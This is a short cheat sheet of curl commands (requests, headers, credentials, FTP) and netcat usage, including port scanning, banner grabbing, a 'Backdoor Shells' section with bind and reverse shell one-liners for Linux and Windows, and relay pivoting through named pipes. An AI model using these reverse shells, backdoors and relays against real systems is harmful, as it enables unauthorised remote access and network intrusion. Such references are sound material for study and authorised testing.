Cheatsheet

Curl Commands

Syntax & Examples:

curl google.com

-retrieves homepage

curl -O google.com/something.txt

-save output to file

curl -L google.com

- Follows redirects

curl -A "Mozilla/5.0 etc " https://google.com

-Changes the User-Agent

curl -X GET https://www.google.com

-Explicit http method

curl --noproxy 127.0.0.1 http://google.com

-No http proxy

curl -k -v https://google.com

- Get response with a header

curl -I https://www.google.com

- Head request

curl -d "name=username&password=abc" https://www.google.com

-Post request

curl -u $username:$password http://google.com

- with credentials

Using Curl for FTP:

curl -u FTP_Username:FTP_PW ftp://google.com

-Access to FTP

curl -u FTP_Username:FTP_PW ftp://google.com/file.zip

-Download a file from FTP

curl -T    -u FTP_UN:FTP_PW ftp://ftp.google.com 

 - Upload a file to the ftp server 

Netcat

Basics:

• nc   <target IP>  <port>
• listener: nc -l -p  <port>
• listener: nc -lvnp <port>

File transfer:

• Client to listener: nc -l -p (port)  >   (output file name)
• Pull from listener to client: nc -l -p (port)  <  (file name to pull)

Banner Grab:

• echo "" | nc -v -n -w1  <targetIP>  <startport>  -  <end port>

Port Scanner:

• nc -v -n -z -w1  <targetIP>  <startport>  -  <endport>

Backdoor Shells:

• Listening shell on Linux: nc -l -p  <port> -e  /bin/bash
• Listening shell on Windows: nc -l -p  <port>  -e  cmd.exe
• Reverse shell on Linux: nc  <your IP> <port>  -e  /bin/bash
• Reverse shell on Windows: nc <your IP>  <port>  -e  cmd.exe

Options:

-l  = listen

-u = udp

-p = port

-e = execute

-n = no dns lookup

-z = packet without data is sent

-v = verbose

Relays:

Linux systems

start by creating a FIFO (named pipe) called mypipe

• cd /tmp
• mknod mypipe p

Listener to client relay:

nc -l -p<port> 0<mypipe | nc <targetIP> <port> | tee mypipe

Listener to listener relay:

nc -l -p <localport> 0<mypipe | nc -l -p <localport2> | tee mypipe

Client to client relay:

nc <previousHOP-ip> <port> 0<mypipe | nc <nexHOP-ip> <port2> | tee mypipe

Windows systems

enter a temp directory, from where we create .exe files

• cd c:\tmp

Listener to client relay:

• echo nc <targetIP> <port>   >  abc.exe
• nc -l -p <port> -e abc.exe

Listener to listener relay:

• echo nc -l -p <port2>   >  abc.exe
• nc -l -p <port1> -e abc.exe

Client to client relay:

• echo nc <nextHOP-ip> <port2>   >  abc.exe
• nc <previousHOP-ip> <port>  -e abc.exe